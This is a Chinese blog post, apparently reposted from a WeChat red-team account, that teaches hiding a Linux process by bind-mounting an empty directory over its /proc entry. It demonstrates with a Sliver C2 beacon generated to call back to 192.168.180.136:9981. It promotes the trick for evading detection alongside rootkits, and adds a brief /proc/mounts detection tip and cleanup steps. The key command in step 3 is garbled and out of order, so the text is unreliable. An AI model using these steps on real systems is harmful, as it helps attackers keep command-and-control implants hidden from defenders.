最近在浏览国外安全论坛时,无意中发现了一种新型的 Linux 进程隐藏方法,技术虽然并不复杂,但实用性极高,对于红队行动或者对抗检测非常有价值。
今天就来给大家分享一下这个思路,顺便以 Sliver 为例做个演示 👇
📦 1. 使用 Sliver 生成客户端
首先,生成一个 Linux 客户端:
generate beacon -f exe --os linux --mtls 192.168.180.136:9981 --skip-symbols -s /tmp/
在目标主机监听 9981 端口,并运行客户端程序。
🔍 2. 查看进程号
先找出目标进程的 PID,比如这里我们假设是 6580。
ps -aux | grep sliver
🧙♂️ 3. 利用 mount 和 bind 实现“隐身术”
# 以下命令需 root 权限执行
mkdir -p spoof/fd;
bind spoof /proc/6580; mount -o
执行完这些命令后,再查看 /proc/6580/fd,你会发现——🤯
文件夹空的
这是怎么回事?别急,我们一一来解析 ⬇️
🧠 4. 原理解析
mkdir -p spoof/fd
创建一个空目录结构 spoof/fd,用于后续绑定。
mount -o bind spoof /proc/6580
将 spoof 目录绑定挂载到 /proc/6580。这样,当系统或工具(比如 ps、top)访问 /proc/6580 时,其实看到的是 spoof 目录的内容,而非真实的进程信息。
ln -s socket:[283] /proc/6580/fd/6580
创建一个符号链接,用于模拟一个 socket 文件(其实在实际使用中不一定需要这一步,测试中可以省略)。
ls -la /proc/6580/fd
由于已挂载空目录,fd 目录下什么都没有。这就实现了对进程文件描述符的“遮蔽”!
🕵️♀️ 5. 如何检测这种伎俩?
其实也并非完全无迹可寻。通过检查 /proc/mounts,我们仍可以发现有文件系统被挂载到了进程目录下。
cat /proc/mounts | grep 6580
输出的最后一行可能就是提示:
/dev/... /proc/6580 ...
💣 6. 清理 & 恢复
一旦需要恢复,可以通过如下命令卸载挂载点:
umount /proc/6580
ps -aux | grep 6580
🧩 总结
这种方式虽然并不是完全“无懈可击”,但搭配其他手段(比如隐藏网络连接、反调试、rootkit等),确实可以大大增加检测的难度。对于红队来说,是一个非常值得掌握的小技巧。✨
原文始发于微信公众号(红队笔记录):红队必备技巧:隐藏 Linux 进程新姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论